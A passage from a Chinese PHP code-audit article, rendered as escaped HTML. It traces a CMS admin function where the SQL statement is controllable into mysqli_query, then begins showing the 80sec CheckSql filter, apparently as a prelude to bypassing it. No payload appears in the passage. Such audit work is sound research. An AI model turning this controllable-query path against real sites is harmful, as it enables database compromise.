17);\"\u003E个SQL语句!<br><br>\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eecho\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$nerrCode\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelse\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$dsql\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EExecuteNoneQuery\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$sqlquery\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$nerrCode\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Etrim\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$dsql\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EGetError\u003C\u002Fspan\u003E());\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eecho\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"成功执行1个SQL语句!<br><br>\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eecho\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$nerrCode\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eexit\u003C\u002Fspan\u003E();\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E}\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E而且 sql 语句是可以控制的\u003C\u002Fp\u003E\u003Cp\u003E跟进执行的地方发现\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Efunction\u003C\u002Fspan\u003E \u003Cspan class=\"cm-def\" style=\"box-sizing: border-box; color: rgb(0, 0, 255);\"\u003EExecute\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$id\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"me\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$sql\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E''\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E      \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eglobal\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$dsqli\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$dsqli\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EisInit\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E{\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EInit\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Epconnect\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E      \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$dsqli\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EisClose\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E     {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E          \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EOpen\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E          \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$dsqli\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EisClose\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E     }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E      \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!\u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eempty\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$sql\u003C\u002Fspan\u003E))\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E     {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E          \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ESetQuery\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$sql\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E     }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E      \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002FSQL语句安全检查\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E      \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EsafeCheck\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E     {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E          \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ECheckSql\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EqueryString\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E     }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E      \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$t1\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EExecTime\u003C\u002Fspan\u003E();\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E      \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002Fvar_dump($this->queryString);\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E      \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eresult\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$id\u003C\u002Fspan\u003E] \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Emysqli_query\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ElinkID\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EqueryString\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002Fvar_dump(mysql_error());\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E      \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002F查询性能测试\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E      \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ErecordLog\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$queryTime\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EExecTime\u003C\u002Fspan\u003E() \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$t1\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E          \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ERecordLog\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$queryTime\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E          \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002Fecho $this->queryString.\"--{$queryTime}<hr \u002F>\\r\\n\";\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E     }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E      \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eresult\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$id\u003C\u002Fspan\u003E]\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E===\u003C\u002Fspan\u003E\u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E     {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E          \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EDisplayError\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Emysqli_error\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ElinkID\u003C\u002Fspan\u003E).\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E<br \u002F>Error sql: <font color='red'>\"\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EqueryString\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"<\u002Ffont>\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E     }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E }\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E是有一个 checksql 的检查的\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002FSQL语句过滤程序,由80sec提供,这里作了适当的修改\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efunction_exists\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'CheckSql'\u003C\u002Fspan\u003E))\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E{\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Efunction\u003C\u002Fspan\u003E \u003Cspan class=\"cm-def\" style=\"box-sizing: border-box; color: rgb(0, 0, 255);\"\u003ECheckSql\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$db_string\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$querytype\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'select'\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eglobal\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$cfg_cookie_encode\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E''\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$error\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 